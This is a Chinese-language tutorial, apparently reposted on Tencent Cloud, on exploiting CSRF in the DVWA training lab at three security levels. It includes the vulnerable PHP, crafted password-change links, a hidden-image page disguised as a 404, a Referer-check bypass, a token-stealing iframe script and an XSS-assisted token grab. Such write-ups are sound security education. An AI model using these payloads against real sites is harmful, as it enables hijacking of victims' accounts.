1
免责声明
本号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如有侵权请联系小编处理。
2
内容速览
CSRF全称为Cross-site request forgery, 跨站请求伪造.
说白一点就是可以劫持其他用户去进行一些请求,而这个CSRF的危害性就看当前这个请求是进行什么操作了
跨站请求攻击,简单地说,是攻击者通过一些技术手段,指利用受害者 “尚未失效的身份认证信息
(cookie、会话等)欺骗用户的浏览器
去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)
由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行
这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿
发出的
上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤:
假设:“如果我不满足以上两个条件中的一个,我就不会受到CSRF的攻击”。 是的,确实如此,但你不能保证以下情况不会发生:
所以 CSRF 是一种较难防御、又危险极大的漏洞
CSRF主要是用于越权操作,所有漏洞自然在有权限控制的地方,像管理后台、会员中心、论坛帖子以及交易管理等场景里面
管理后台又是最高危的地方,而CSRF又很少被关注到
因此至今还有很多程序都存在这个问题
我们在挖掘CSRF的时候可以先搭建好环境,打开几个有非静态操作的页面,抓包看看有没有token
如果没有token的话,再直接请求这个页面,不带referer
如果返回的数据还是一样的话,那说明很有可能有CSRF漏洞了,这个是一个黑盒的挖掘方法
从白盒角度来说的话,只要读代码的时候看看几个核心文件里面有没有验证token和referer相关的代码
这里的核心文件指的是被大量文件引用的基础文件,或者直接搜"token"这个关键字也能找
如果在核心文件没有,再去看看你比较关心的功能点的代码有没有验证
下面对三种级别的代码进行分析。
服务器端核心代码
<?php
if( isset( $_GET[ 'Change' ] ) )
{<!-- -->
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ]; //注意这里的三个GET
// Do the passwords match?
if( $pass_new == $pass_conf ) {<!-- -->
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {<!-- -->
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符
可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同
如果相同,就会修改密码,并没有任何的防CSRF机制 (当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现= =)
http://www.dvwa.com:8080/vulnerabilities/csrf/?password_new=657260&password_conf=657260&Change=Change#
当受害者点击了这个链接,他的密码就会被改成657260
注意我在这个操作的时候犯了一个错误,就是一上去就直接点了这个链接,却并没有出现以下图中的红字“Password Changed”
因为一开始没有相应的改密码的操作,也就没有产生任何认证信息,不能利用CSRF攻击,,,,这也正说明了利用CSRF攻击的关键
密码修改成功:
需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的
因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面
有人会说,这个链接也太明显了吧,不会有人点的,没错,所以真正攻击场景下,我们需要对链接做一些处理。
B) 我们可以使用短链接来隐藏URL(点击短链接,会自动跳转到真实网站):如http://dwz.cn/
具体网址如下:https://dwz.cn
现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击
这里为了方便演示(才不是我租不起服务器= =),就在本地写一个test.html,下面是具体代码。
<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/><h1>404<h1><h2>file not found.<h2>
当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了hack
服务器端核心代码
<?php
if( isset( $_GET[ 'Change' ] ) )
{<!-- -->
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {<!-- -->
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {<!-- -->
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {<!-- -->
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {<!-- -->
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
_SERVER是预定义服务器变量的一种,所有_SERVER开头的都是预定义服务变量
PHP编程中经常需要用到一些服务器的一些资料,如:$_SERVER['SERVER_NAME']
当前运行脚本所在服务器主机的名称;
$_SERVER['HTTP_REFERER']
链接到当前页面的前一页面的 URL 地址
regi(string pattern, string string)检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。
可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)
是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.153.130)
希望通过这种机制抵御CSRF攻击
过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.153.130)
我们可以将攻击页面命名为192.168.153.130.html(页面被放置在攻击者的服务器里,这里是10.4.253.2)就可以绕过了
下面是Burpsuite抓包获取的截图
Referer参数完美绕过过滤规则
密码修改成功
服务器端核心代码
<?php
if( isset( $_GET[ 'Change' ] ) )
{<!-- -->
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {<!-- -->
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {<!-- -->
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF tokengenerateSessionToken();
?>
可以看到,High级别的代码加入了Anti-CSRF token机制
用户每次访问改密页面时,服务器会返回一个随机的token 向服务器发起请求时,需要提交token参数
而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去 修改密码的页面 获取关键的token。
Cookie,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。
试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。
<script type="text/javascript">
function attack()
{<!-- -->
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
<body onload="attack()">
<form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
document.getElementsByName(name)方法是取得页面中标签名属性名为name的标签元素,此处的name是一个变量,具体值根据上下文来确定.标签允许name属性名可以同名,所以用此方法取得的往往是一个集合(数组),所以用后面加[0](如果多个还可以1,2等)来得到具体的值.如:
<a name=c1>...
<p name=c1>...
<input name=c2>...
使用document.getElementsByName(”c1“)[0]将获得a标签对象,document.getElementsByName(”c1“)[1]获取p标签对象.
getElementById() 方法可返回对拥有指定 ID 的第一个对象的引用。
document.getElementsByName('user_token')[0].value这个地方是先取得页面中标签名属性名为uer_token的标签元素然后访问这个元素的属性
当一个元素有value属性的时候,其value才会有值,如<input name="txt1" type="text" value="hello"/>这样一个元素,当你使document.getElementsByName('user_token')[0].value时,可以得到其value值,即"hello"这个字符串。如果一个元素没有value值,那么使用时是取不到。这是理所当然的,没有的东西怎么访问?
contentDocument 属性能够以 HTML 对象来返回 iframe 中的文档,通过id=hack得到iframe对象后,就可以通过contentWindow得到iframe包含页面的window对象,然后就可以正常访问页面元素了;
攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见iframe框架偷偷访问修改密码的页面,并获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击,在本地环境下可以实现
然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的
这里简单解释下跨域,我们的框架iframe访问的地址是http://192.168.153.130/dvwa/vulnerabilities/csrf,位于服务器192.168.153.130上,而我们的攻击页面位于黑客服务器10.4.253.2上
两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。
由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器192.168.153.130中,才有可能完成攻击。
所以换一种思路
下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。
注入代码如下
这里利用的是存储型xss,当受害者访问这个存在xss的页面,他改密页面的token可以被脚本获取
这里的Name存在XSS漏洞,于是抓包,改参数,成功弹出token
这里只是简单的弹出,现实攻击中可以将token发送到攻击者服务器,进行构造连接
然后再诱导受害者访问攻击者服务器上的链接,进行csrf攻击,即可成功。
此时攻击者现在自己的机子上在修改密码页面随便修改一个密码,抓包:
构造恶意连接,将通过xss得到的token拼上:
http://192.168.161.137/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change&user_token=6d03d694fc7c23eec93051ebed992c93(拼接你得到的token)
发送给受害者,让受害者点击即可:
可见密码修改成功了
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有